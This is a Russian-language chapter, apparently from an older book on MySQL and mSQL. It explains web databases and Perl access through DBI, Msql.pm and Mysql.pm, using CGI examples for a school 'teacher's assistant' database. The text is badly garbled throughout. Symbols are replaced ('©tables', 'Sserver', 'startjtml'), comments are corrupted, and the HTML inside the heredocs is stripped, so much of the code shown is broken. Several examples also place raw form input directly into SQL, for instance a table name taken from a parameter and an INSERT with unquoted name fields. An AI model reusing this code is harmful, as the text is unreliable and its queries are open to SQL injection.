  • Значительное ускорение обработки SELECT DISTINCT.

  • COUNT(DISTINCT).

    Дальнейшие усовершенствования, запланированные в 3.23, включают в себя поддержку вложенных операторов SELECT и поддержку репликации баз данных, обеспечивающей распределение нагрузки между несколькими серверами и восстановление в случае аппаратных сбоев.

    MySQL является очень быстро развивающейся платформой баз данных благодаря существованию армии добровольцев-программистов, помогающих строить ее дальше на крепком основании. Поэтому не следует удивляться, если что-либо, верное в момент написания этой главы, больше не соответствует действительности.

    MySQL или mSQL?

    Конечно, мы еще не дали вам сведений, достаточных для принятия решения. Чтобы полностью оценить существующие на сегодняшний день различия между двумя продуктами, необходимо прочесть эту книгу и понять тонкости, представленные нами здесь. На первый взгляд кажется несомненным, что предпочтение следует отдать MySQL. mSQL с течением времени отстала и сейчас уступает в скорости работы. Дэвид Хьюз неудовлетворен и работает над версией 2.1, в которой должны быть устранены многие нынешние недостатки. А в это же время MySQL движется вперед со скоростью света.


    Выбор mSQL может быть продиктован имеющимся у вас инструментарием. Поскольку mSQL существует дольше, вам может оказаться легче найти инструмент, отвечающий вашим специфическим потребностям. К примеру, в момент написания этой книги только для mSQL имелся драйвер JDBC, соответствующий JDBC 2.0. Конечно, положение изменится к тому времени, когда вы прочтете книгу. Тем не менее при выборе базы данных следует руководствоваться соображениями такого типа.

    Независимо от того, какую базу данных вы выберете, вы окажетесь в выигрыше. Обе эти базы данных обеспечат большее быстродействие, чем при любом другом выборе. Для объективного сравнения этих баз данных друг с другом и другими продуктами рекомендуем посетить страницу http://www.mysql.com/crash-me-choose.htmy. Она находится на домашней странице MySQL, но представленные на ней критерии можно свободно проверить, а сама страница сделана очень хорошо.

    Приложения и базы данных

    Согласно нашему определению, база данных есть организованное собрание данных, служащее определенной цели. Простого наличия СУБД недостаточно, чтобы у вашей базы данных появилось назначение. Назначение определяется тем, как вы используете свои данные. Представьте себе библиотеку, в которой никто никогда не читает книги. Будет немного смысла в хранении и организации всех этих книг, если они никогда не используются. Теперь представьте себе библиотеку, в которой нельзя поменять книги или добавить новые. Полезность библиотеки как базы данных будет со временем уменьшаться, поскольку невозможно заменить устаревшие книги и добавить новые. Короче, библиотека существует для того, чтобы люди могли читать книги и находить нужную им информацию.

    Базы данных существуют для того, чтобы люди могли с ними взаимодействовать. В случае электронных баз данных взаимодействие происходит не непосредственно с базой данных, а косвенно — с помощью программного обеспечения. До появления Всемирной паутины (World Wide Web) базы данных обычно использовались большими корпорациями для поддержки различных деловых функций - бухгалтерии и финансов, контроля поставок и складского учета, планирования производства, учета персонала и т. п. Интернет и более сложные задачи домашних вычислений содействовали перемещению потребностей в использовании баз данных за пределы больших корпораций.

    Базы данных и WWW

    Область, в которой развитие баз данных имело особо взрывной характер, и где отличились MySQL и mSQL, - это разработка приложений для Интернет. По мере роста спроса на все более сложные и надежные приложения для Интернет растет и спрос на базы данных. База данных сервера может поддерживать многие важные функции в Интернет. Фактически, любое содержание веб-страниц может управляться базой данных.

    Рассмотрим в качестве примера торговца по каталогу, который хочет опубликовать свой каталог в WWW и принимать заказы через Интернет. Если опубликовать каталог в виде HTML-файла, то кому-то придется вручную редактировать каталог всякий раз, когда добавляется новый товар или изменяется цена. Если же вместо этого держать данные каталога в реляционной базе данных, то становится возможной публикация изменений в каталоге в реальном масштабе времени путем простого изменения в базе данных сведений о товаре и цене. Становится также возможной интеграция каталога с имеющимися системами электронной обработки заказов. Таким образом, использование базы данных для управления таким веб-сайтом дает очевидные преимущества как продавцу, так и покупателю.


    Вот как веб-страница обычно взаимодействует с базой данных. База данных находится на вашем веб-сервере или другой машине, с которой ваш сервер может обмениваться данными (хорошая СУБД позволяет легко организовать такое распределение обязанностей). Вы помещаете на веб-страницу форму, в которую пользователь вводит свой запрос или данные, которые нужно передать. После передачи формы на сервер последний запускает написанную вами программу, которая

    извлекает переданные пользователем данные. Эти программы чаще всего делаются в виде CGI-сценариев или серверных приложений на Java, но возможно также встраивание программы прямо в HTML-страницу. Все эти методы мы рассмотрим в нашей книге.

    Теперь ваша программа знает, какие данные нужны пользователю или что он хочет внести в базу данных. Программа формирует команду SQL для выборки или изменения данных, а база данных чудесным образом делает все остальное. Результаты, получаемые от базы данных, ваша программа может оформить в виде новой HTML-страницы и отправить обратно пользователю.



    DBI

    Рекомендуемым методом доступа к базам данных MySQL и mSQL из Perl является интерфейс DBD/DBI. DBD/DBI означает DataBase Dependent/DataBase Independent (Зависимый от базы данных/Независимый от базы данных). Название связано с двухъярусной реализацией интерфейса. В нижнем ярусе находится зависимый от базы данных уровень. На нем существуют свои модули для каждого типа базы данных, доступного из Perl. Поверх этого уровня находится независимый от базы данных уровень. Это тот интерфейс, которым вы пользуетесь при доступе к базе данных. Выгода такой схемы в том, что программисту нужно знать только один API уровня независимости от базы данных. Когда появляется новая база данных, кому-нибудь нужно лишь написать для нее модуль DBD (зависимый), и она станет доступна всем программистам, использующим DBD/DBI.

    Как и в любом модуле Perl, для получения доступа нужно указать DBI в директиве use:

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use DBI;

    DBIПри запуске программ Perl для MySQL/mSQL следует всегда задавать аргумент командной строки -w. Благодаря этому DBI будет перенаправлять все специфические для MySQL и mSQL сообщения об ошибках на STDERR, и вы сможете увидеть ошибки, вызванные работой с базой данных, не прибегая к явной проверке их в программе.

    Всякое взаимодействие между Perl, с одной стороны, и MySQL и mSQL - с другой, производится с помощью объекта, известного как описатель базы данных (handle). Описатель базы данных (database handle) - это объект, представленный в Perl как скалярная ссылка и реализующий все методы, используемые для связи с базой данных. Одновременно можно открыть любое число описателей базы данных, ограничение накладывают только ресурсы системы. Метод connect() использует для создания описателя формат соединения DBI:servertype:database:hostname:port (имя узла и порта необязательны), дополнительными аргументами служат имя пользователя и пароль:

    my $dbh = DBI->connect( 'DBI:mysql:mydata ', undef, Lindef);

    my $dbh = DBI->connect( 'DBI:mSQL:mydata:myserver', undef, undef);


    my $dbh = DBI->connect( 'DBI:mysql:mydata', 'me', 'mypass")',

    Атрибут servertype является именем специфического для базы данных DBD-модуля, в нашем случае "mysql" или "mSQL" (обратите внимание на точное использование регистра). В первом варианте создается соединение с сервером MySQL на локальной машине через сокет Unix. Это наиболее эффективный способ связи с базой данных, который должен использоваться при соединении на локальном сервере. Если указано имя узла, оно используется для соединения с сервером на этом узле через стандартный порт, если только не задан и номер порта. Если при соединении с сервером MySQL вы не указываете имя пользователя и пароль, то пользователь, выполняющий программу, должен обладать достаточными привилегиями в базе данных MySQL. Для баз данных mSQL имя пользователя и пароль не должны указываться.

    DBIВ Perl 5 используются два соглашения по вызову модулей. В объектно-ориентированном синтаксисе для ссылки на метод определенного класса используется символ стрелки "->" (как в DBI->connect). Другой метод - использование непрямого синтаксиса, в котором за именем метода следует имя класса, а затем - аргументы. В последнем примере метод connect следовало бы записать как connect DBI 'DBI:mysql:mydata', "me', ' mypass . В ранних версиях Msql.pm использовался исключительно непрямой синтаксис, и требовалось придерживаться метода использования заглавных букв, обусловленного mSQL С API. Поэтому значительная часть старого кода MsqlPerl содержит строки типа SelectDB $dbh ' test' там, где можно было бы написать проще: $dbh->selectdb(' test') . Если вы еще не догадались, то сообщаем, что мы неравнодушны к объектно-ориентированному синтаксису, хотя бы потому, что использование стрелки делает ясной связь между классом и методом.

    Как только вы соединились с сервером MySQL или mSQL, описатель базы данных - во всех примерах этого раздела $dbh - становится шлюзом к базе данных. Например, так готовится запрос SQL:


    $dbh->prepare($query);

    DBIПри работе с mSQL для одного описателя базы данных можно одновременно выбрать только одну базу данных, это ограничение накладывается сервером mSQL. Однако в любой момент можно сменить текущую базу данных, повторно вызвав connect . При работе с MySQL можно включать в запрос другие базы данных, явно указывая их имена. Кроме того, и в MySQL, и в mSQL при необходимости одновременного доступа к нескольким базам данных можно создать несколько описателей базы данных и использовать их совместно.

    В главе 21 "Справочник по Perl", описаны все методы и переменные, содержащиеся как в DBI, так и в Mysql.pm и Msql.pm.

    Для иллюстрации использования DBI рассмотрим следующие простые программы. В примере 10-1 datashow.cgi принимает в качестве параметра имя узла; при отсутствии параметра принимается имя "local-host". Затем программа выводит список всех баз данных, имеющихся на этом узле.

    Пример 10-1. Программа CGI datashow.cgi показывает все базы данных, имеющиеся на сервере MySQL или mSQL

    #!/usr/bin/perl -w

    use strict;

    use CGI qw( standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($server, $sock, $host);

    my $output = new CGI;

    $server = param('server') or Sserver = '';

    # Подготовить DBD-драйвер для MySQL

    my $driver = DBI->install_driver('mysql');

    my @databases = $driver->func($server, '_ListDBs');

    # Если параметр @databases неопределен, предполагаем,

    # что на этом узле не запущен

    # сервер MySQL. Однако это может быть вызвано

    # другими причинами. Полный текст сообщения об ошибке

    # можно получить, проверив $DBI::errmsg.

    if (not @databases) {

    print header, start_html('title'=>"Данные no Sserver", 'BGCOLOR'=>'white');

    print<$server

    Ha Sserver , по-видимому, не запущен сервер mSQL. END_OF_HTML

    exit(0); }

    print header, start_html('title'=>" Данные по $host",


    'BGCOLOR'=>'white'); print <$host



    Соединение с $host на сокете $sock.



    Базы данных:



    END_OF_HTML

    foreach(@databases) {

    print "
  • $_\n"; }

    print <




    HTML

    exit(0)

    В примере 10-2 tableshow.cgi принимает в качестве параметров имя сервера базы данных (по умолчанию "localhost") и имя базы данных на этом сервере. Затем программа показывает все таблицы, имеющиеся в этой базе данных.

    Пример 10-2. Программа CGI tableshow.cgi выводит список всех таблиц в базе данных

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль Msql.pm use DBI; CGI::use_named_parameters(1);

    my ($db);

    my $output = new CGI;

    $db = param('db')'or die("He указана база данных!");

    # Connect to the requested server.

    my $dbh = DBI->connect("DBI:mysql:$db;$server", undef, undef);

    # Если не существует $dbh, значит, попытка соединения с сервером

    # базы данных не удалась. Возможно, сервер не запущен,

    # или не существует указанной базы данных, if (not $dbh) {

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white');

    print <$host

    $db



    Попытка соединения не удалась по следующей причине:
    $DBI::errstr



    END_OF_HTML

    exit(0); }

    print header, start_html('title'=>"Данные по $host => $db", 'BGCOLOR'=>'white'); print <$host

    $db



    <р>

    Таблицы:



    END_OF_HTML

    # $dbh->listtable возвращает массив таблиц,

    # имеющихся в текущей базе данных.

    my ©tables = $dbh->func( '_ListTables' );

    foreach (@tables) {

    print "
  • $_\n"; }

    print <

    END_OF_HTML

    exit(0);

    И наконец, пример 10- 3 показывает, как вывести все сведения о некоторой таблице.

    Пример 10-3. Программа CGI tabledump.cgi выводит сведения об указанной таблице

    #!/usr/bin/perl -w

    use strict;

    use CGI qw(:standard);

    use CGI::Carp;

    # Использовать модуль DBI use DBI; CGI::use_named_parameters(1);

    my ($db,Stable);

    my Soutput = new CGI;

    $server = param('server') or $server = ";

    $db = param('db') or die("He указана база данных !");

    # Соединиться с указанным сервером.

    my $dbh = DBI->connect("DBI:mysql:$db:$server", undef, undef);

    # Готовим запрос к серверу, требующий все данные

    # таблицы.

    my $table_data = $dbh->prepare("select * from Stable");

    # Посылаем запрос серверу.

    $table_data->execute;

    # Если возвращаемое значение не определено, таблица не существует

    # или пуста; мы не проверяем, что из двух верно.

    if (not $table_data) {

    print header, startjtml( 'title'=>

    "Данные по $host => $db => Stable", 'BGCOLOR'=>'white');

    prin<

    $host



    $db



    Таблицы'Stable' нет в $db на $host.



    END_OF_HTML

    exit(0); }

    # Теперь мы знаем, что есть данные для выдачи. Сначала выведем

    # структуру таблицы.

    print header, start_html( title'=>"Данные по $host => $db => $table",

    'BGCOLOR'=>'white');

    print <$host

    $db

    $table







    <ТН>Поле<ТН>Тип<ТН>Размер<ТН>МОТ NULL END_OF_HTML

    If $table_data->name возвращает ссылку

    # на массив полей таблицы.

    my ©fields = @{$table_data->NAME};

    # $table_data->type возвращает ссылку на массив типов полей.

    # Возвращаемые типы имеют стандартные обозначения SQL,

    # а не специфические для MySQL.


    my @types = @{$table_data->TYPE};

    # $table_data-> is_not_null возвращает ссылку на массив типа Boolean,

    # указывающий, в каких полях установлен флат 'NOT NULL'.

    my @>not_null = @{$table_data->is_not_null};

    # $table_data->length возвращает ссылку на массив длин полей. Они

    фиксированные

    # для типов INT и REAL, но переменые (заданные при создании

    # таблицы) для CHAR.

    my @length = @{$table_data->length};

    # Все перечисленные выше массивы возвращаются в одном и том же порядке,

    # поэтому $fields[0], $types[0], $ndt_null[0] and $length[0] относятся к одному полю.

    foreach $field (0..$#fields) {

    print "\n";

    print "\n"; }

    print <



    Data




    END_OF_HTML

    # Теперь мы будем построчно перемещаться по данным с помощью DBI::fetchrow_array().

    # Мы сохраним данные в массиве в таком же порядке, как и в информационных

    # массивах (§fields, @types, etc,), которые мы создали раньше.

    while(my(@data)=$table_data->fetchrow_array) {

    print "
  • \n ";

    for (0..$#data) {

    print "
  • $fields[$_] => $data[$_]
  • \n"; }

    print ""; }

    print "END_OF_HTML;





    END_OF_HTML



    Язык программирования Perl превратился из

    Perl

    Язык программирования Perl превратился из инструмента, используемого преимущественно администраторами Unix-систем, в наиболее распространенную платформу разработки для World Wide Web. Perl не предназначался изначально для Web, но простота его использования и мощные функции для работы с текстом сделали естественным его применение для CGI-программирования. Сходным образом, когда mSQL впервые появилась на сцене, исключительные компактность и скорость выполнения сделали ее очень привлекательной для разработчиков Web, которым требовалось обслуживать ежедневно тысячи операций. MySQL со своей высокой скоростью и расширенными возможностями стала еще более привлекательным средством для веб-разработчиков. Естественно поэтому, что был разработан интерфейс Perl к обеим базам - MySQL и mSQL, - объединив таким образом их достоинства.

    Язык программирования Perl превратился из В то время, когда пишется эта книга, существуют два интерфейса между Perl и MySQL с mSQL. Более ранний состоит из специализированных интерфейсов Myaql.pm и Msql.pm, которые работают только с MySQL и mSQL соответственно. Другой, более новый интерфейс является подключаемым модулем в комплекте DBI (DataBase Independent) - независимых от базы данных модулей. DBI является попыткой обеспечить общий Perl API для доступа к любым базам данных и предоставления более высокой переносимости. Интерфейс DBI стал наиболее надежным и стандартным, и разработчики MySQL рекомендуют пользоваться только DBI, поскольку дальнейшая разработка модулей Mysql.pm и Msql.pm прекращена. Однако многие унаследованные системы все еще используют их, поэтому мы расскажем здесь и о них.



    Msql.pm

    Модуль Msql.pm является изначальным интерфейсом Perl к mSQL. Хотя его заменили модули DBI, все же осталось много сайтов, основанных на этом старом интерфейсе. Чтобы продемонстрировать использование Msql.pm, мы продолжим работу с нашим примером "помощника учителя".

    Поскольку нам требуется определить школьные классы, в которых будут проводиться экзамены, рассмотрим таблицу предметов. Ее структура выглядит так:

    CREATE TABLE subject (

    id INT NOT NULL,

    name CHAR(500),

    teacher CHAR(100) )

    CREATE UNIQUE INDEX idxl ON subject (
    id,
    name,

    teacher
    )

    CREATE SEQUENCE ON subject

    Число id является уникальным идентификатором школьного класса, а поля name и teacher являются наименованием курса и фамилией преподавателя соответственно. Все три поля проиндексированы, что ускоряет выполнение запросов. И наконец, мы определили последовательность для таблицы. Эта последовательность генерирует ID.

    CGI-программа для обработки этих данных должна выполнять несколько функций:

  • Находить предмет в базе данных.

  • Выводить найденный предмет.

  • Добавлять в базу данных новый предмет.

  • Изменять параметры предмета в базе данных.

    Используя мощь Perl и mSQL, можно без труда объединить все эти функции в одном файле, subject.cgi. Для каждой из операций мы создадим свою функцию. Центральной частью программы будет своего рода коммутатор, распределяющий поступающие запросы по соответствующим функциям. Сами операции мы опишем позднее.

    #Выбор нужной части сценария осуществляется в зависимости

    # от параметра 'action'.

    # Если 'action' не задан, вызывается функция defaultQ.

    &default if not param('action');

    # Этот прием из Camel 2 имитирует переключатель 'switch' в языке С. foreach[A04] (param('action')) {

    /view/ and do { Sview; last; };
    /add$/ and do { &add; last; };
    /add2/ and do { Sadd2; last; };
    /add3/ and do { &add3; last; };
    /add4/ and do { &add4; last; };
    /schange$/ and do { &schange; last; };
    /schange2/ and do { &schange2; last; };

    /lchange$/ and do { &lchange; last; };

    /Ichange2/ and do { &lchange2; last; };

    /IchangeS/ and do { &lchange3; last; };

    /delete/ and do { Sdelete; last; };

    &default; }

    Msql.pmПункты "add", "schange" и "Ichange" должны иметь завершающий "$", чтобы не быть спутанными со сходными. Если бы не было "$", то "add" соответствовал бы также add2, add3 и add4. Альтернативный прием - поместить "add", "schange" и "Ichange" после всех остальных функций, чтобы вызываться при отсутствии совпадений с предыдущими пунктами. Однако если впоследствии добавятся другие пункты, могут возникнуть ошибки. Третий способ - полностью устранить неоднозначность, используя /^view$/, /*add$/ и т. д. При этом придется ввести несколько больше символов, но возможность ошибки будет полностью устранена.

    Остается лишь проработать детали, реализовав каждую функцию.

    Функция default выводит исходную форму, которую видит пользователь, позволяющую ему выбрать тип операции. Эта функция вызывается, если CGI-программа вызывается без параметров, например, как http://www.myserver.com/teach/subject.cgi, или если параметр ACTION не соответствует ни одной из существующих функций. Можно было бы также создать функцию, выводящую сообщение об ошибке, если параметр ACTION неизвестен.

    sub default {

    print header, start_html('title'=>'Subjects', 'BGCOLOR'=>'white'):

    print "END_OF_HTML;

    Предметы



    <р>Выберите операцию и предмет (если это допустимо).








    END_OF_HTML

    # См. ниже 'sub print_subjects'.

    &print_subjects;

    print "END_OF_HTML;









    HTML

    }

    Основных операций пять: "view" (просмотр), "add" (добавление), "schange" (изменение данных о предмете), "Ichange" ( изменить список классов по предмету) и "delete" (удалить). Например, мы подробно рассмотрим операцию "add". Она разбита на четыре отдельные функции, потому что диалог с пользователем приходится проводить до четырех раз. Для передачи данных от одной формы к другой используются скрытые переменные, пока, в конце концов, не будет создан класс.

    Первая функция порождает форму для ввода начальных сведений о классе, в том числе его названия, имени учителя и количества учащихся.

    sub add {

    my (%fields);

    foreach ('name','size','teacher') {

    if (param($_)) { $fields{$_} = param($_); } else { $fields{$_} = ""; } }

    print header, start_html('title'=>'Add a Subject','BGCOLOR'=>'white');

    print "END_OF_HTML;

    Add a Subject



    Название предмета:



    Фамилия учителя:



    Число учащихся в классе:















    Перейти назад к главной странице предметов.

    <А HREF=". ">Перейти к домашней странице Помощи учителю.




    END_OF_HTHL

    }

    Функция проверяет, не имеют ли какие-либо поля предустановленные значения. Это придает функции дополнительную гибкость, позволяя использовать ее как шаблон для классов со значениями по умолчанию, возможно, генерируемыми какой-либо другой CGI-программой.

    Значения, полученные в первой части процесса добавления, передаются обратно CGI-программе для использования в функции add2. Функция add2 сначала проверяет, существует ли уже класс. Если существует, то пользователю посылается сообщение об ошибке, и он может изменить название класса.

    Если класс еще не существует, функция проверяет, какое число учащихся введено. Если никакое, то класс создается без учащихся, их можно добавить позднее. Если нее число задано, создается класс и выводится форма, в которую можно ввести данные о каждом учащемся.

    sub add2 {

    my $name = param('name');

    # Нам нужна копия имени, которая кодируется для URL.

    my $enc_name = &cgi_encode($name);

    # Нам также нужна копия имени, которую можно спокойно цитировать для

    # ввода в базу. Msql использует с этой целью функцию Msql::quote().

    my $query_name = $dbh->quote($name);

    # Строим запрос для проверки существования предмета,

    my $query ="select id, name, teacher from subject where name=$query_name";

    #Если пользователь ввел фамилию учителя, отдельно проверяем фамилию,

    # поскольку могут быть два курса с одинаковым названием, но

    # разными учителями.

    if (param('teacher')) {

    $teacher = param('teacher');

    $enc_teacher = &cgi_encode($teacher);

    my $query_teacher = $dbh->quote($teacher);

    $query .= " and teacher=$query_teacher"; }

    # Теперь посылаем запрос серверу mSQL

    my $out = $dbh->query($query);

    ft Проверяем значение $out->numrows, чтобы узнать, были ли возвращены

    # какие-либо строки. Если были, и пользователь не задал параметр 'override'

    # (переопределить), то мы выходим с сообщением, что класс уже

    # существует, и давая пользователю возможность все-таки ввести класс


    # (повторно передав форму с установленным параметром 'override',

    if ($out->numrows and not param('override')) { # Печать страницы 'Класс уже существует'.

    } else {

    # Теперь вводим данные в базу.

    # Сначала нужно выбрать новое число из

    # последовательности для таблицы.

    $out = $dbh->query("select _seq from subject");

    my ($id) = $out->fetchrow;

    # Теперь вводим информацию в базу данных, используя

    # полученное из последовательности число в качестве ID.

    $query = "INSERT INTO subject (id, name, teacher)

    VALUES ($id, '$name', 'Steacher')"; $dbh->query($query);

    # Если пользователь не задал размер класса, выходим

    # с сообщением о том, что пользователь может добавить

    # число учащихся позже, if (not param('size')) {

    # Вывод страницы с сообщением об успехе.

    } else { \

    # Теперь выводим форму, позволяющую пользователю

    # ввести имена всех учащихся в классе.

    print header, start_html('title'=>'Create Class List',

    'BGCOLOR'=>'white'); print <
    <Н1>Создать список класса

    $name

    добавлен в базу данных. Теперь можно ввести фамилии учащихся в этом классе. Добавить или исключить учащихся можно позднее с главной страницы предметов

    <а href="subject.cgi"> .

    <Р>







  • Пoля
    $fields[$field]$types[$field]";

    print $length[$field]

    if $types[$field] eq 'SQL_CHAR';

    print "
    ";

    print 'Y' if ($not_null[$field]);

    print "


    <ТР><ТН><ТН>Имя<ТН>Отчество/Инициал

    <ТН>Фамилия<ТН>мл.,ст.,III,и т.д.



    END_OF_'HTML

    for $i (1.,$size) {

    print <



    END_OF_HTML

    }

    print <







    END_OF_HTML

    } } }

    Обратите внимание, что функция использовала три копии параметра name. Для использования в составе URL все специальные символы должны быть заменены особым образом. Для этого в коде примера используется функция cgi_encode . Кроме того, чтобы ввести строку в базу данных mSQL, вместо некоторых символов нужно использовать управляющие символы. Интерфейс MsqlPerl предоставляет для этого функцию quote, доступную через любой описатель базы данных. Наконец, при выводе на экран используется непреобразованный вариант переменной.

    При добавлении класса в базу данных удобно использовать такую функцию mSQL, как последовательности. Вспомним, что в таблице class была определена последовательность. Ее значения используются в качестве уникального идентификатора для каждого класса. Благодаря этому два класса могут иметь одинаковые названия (или одного и того же учителя и т. д.) и все же быть различными. Это также окажется удобным при дальнейших изменениях в классе. Пока между формами передается уникальный ID, все прочие данные о классе можно свободно изменять.

    Наконец, отметим, что выводимая этой функцией форма для ввода учащихся генерируется динамически. Для вывода формы с правильным числом записей используется введенное раньше число учащихся. Помните, что CGI-программа полностью управляет генерируемым HTML. Любая часть, включая формы, может быть создана программным образом.

    Если пользователь не ввел никаких учащихся, то работа на этом закончена. Позднее для добавления учащихся можно воспользоваться функцией модификации. Однако если требуется ввести учащихся, данные о них передаются функции add3, как показано ниже:

    sub add3 {

    if (not param('id')) { &end("Требуется числовой ID"); }

    my $id = param( 'id');

    my ©list = &find_last_student;


    my ($ref_students,$ref_notstudents) = &find_matching_students(@list);

    @students = @$ref_students

    if $ref_students;

    @notstudents = @$ref_notstudents

    if $ref_notstudents;

    if (@notstudents) {

    # Вывести форму, говорящую пользователю, что в списке

    # есть несуществующие учащиеся. Пользователь может автоматически

    # создать учащихся или вернуться и исправить опечатки.

    } else {

    &update_students($id,@students);

    #Вывести форму успешного завершения работы.

    } }

    В этой функции основная часть работы выполняется другими функциями. Это обусловлено тем, что в других частях CGI-программы возникают сходные задачи, которые полезно решать с помощью совместно используемых функций. Первая такая функция - f ind_last_student , которая изучает данные формы и возвращает список имеющихся в форме номеров, не связанных с ID в базе данных, всех введенных пользователем учащихся. Это необходимо, поскольку, как упоминалось раньше, предыдущая форма генерируется динамически и нет возможности непосредственно узнать, сколько учащихся включено.

    sub find_last_student {

    my @params = param; my @list = (); foreach (@params) {

    next if not param($_);

    # Исключить все 'пустые' поля

    if (/-(first|middle|last|ext)(\d+)/) {

    my $num = $2;

    if (not grep(/"$num$/,@list)) { push(@list,$num); } } }

    @list = sort { $a <=> $b} @list; return @list;

    }

    Обратите внимание, что функция возвращает все числа, а не только последнее, которое, предположительно, будет числом введенных учащихся. Хотя предыдущая форма вывела число запрошенных пользователем записей, нет гарантии, что пользователь заполнил их все. Он мог пропустить строку, которая не будет включена в данные формы. Поэтому необходимо выявить все введенные числа. Результаты работы этой функции пересылаются следующей вспомогательной функции find_matching_students , как показано ниже:

    sub find_matching_students { my §list = @_;

    my ($i,@students,@notstudents); §students = ();

    @notstudents = ();

    if (@list) {


    foreach $i (@list) {

    my @query = ();

    # Строим запрос, который ищет заданного учащегося,

    my $query = "select id, subjects from student where ";

    foreach ('first','middle','last', 'ext') {

    if (param("$_$i")) {

    my $temp = param("$_$i");

    # В mSQL и MySQL одиночные кавычки служат ограничителями

    # имен полей, и им должен предшествовать

    # управляющий символ "\",

    # который управляет и сам собой,

    # чтобы быть введенным буквально.

    $temp =~ s/7\\'/g;

    push(@query, "$_ = '$temp'"); } }

    $query = join(" and ",§query);

    # Посылаем запрос базе данных.

    my $out = $dbh->query($query);

    # Если база данных ничего не возвращает, добавляем

    # учащегося к массиву @notstudents.

    if (not $out->numrows) {

    push(@notstudents, [ param("first$i"), param("middle$i"), param("last$i"), param("ext$i") ]);

    # В противном случае добавляем студента в массив ©students.

    } else {

    my ($id,$subjects) = $out->fetchrow;

    push(@students,[$id,$subjects]); } } }

    return(\§students,\@notstudents); }

    Эта функция пробегает по всем заданным именам учащихся и проверяет, есть ли уже они в базе данных. Если они существуют, данные о них записываются в массив с именем ©students , в противном случае - в массив @notstudents . Данные о каждом учащемся хранятся в безымянном массиве, создавая своего рода объект учащегося. В итоге функция возвращает ссылки на оба массива. Она не может возвратить данные как обычный массив, поскольку будет невозможно определить, где закончился один массив и начался другой.

    И последняя вспомогательная функция - update_students , которая добавляет класс к списку классов для каждого существующего учащегося.

    sub update_students {

    my $id = shift;

    my ©students = @_;

    foreach (©students) {

    my($sid, $subjects)=©$_;

    if (not Ssubjects) { Ssubjects = ":$id:"; }

    elsif (Ssubjects !" /:$id:/)

    { Ssubjects .= "$id:"; }


    my $query = "update sti/dent set subjects='Ssubjects'

    where id=$id";

    $dbh->query($query); } }

    Эта функция осуществляет запрос к таблице student, совершенно независимой от таблицы subject. В пределах одной CGI-программы можно работать с любым числом различных таблиц одной базы данных. Можно переключаться с одной базы данных на другую, но одновременно может быть активна только одна база данных. Эта функция извлекает список предметов для каждого учащегося и добавляет к нему новый предмет, если его еще нет в списке.

    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

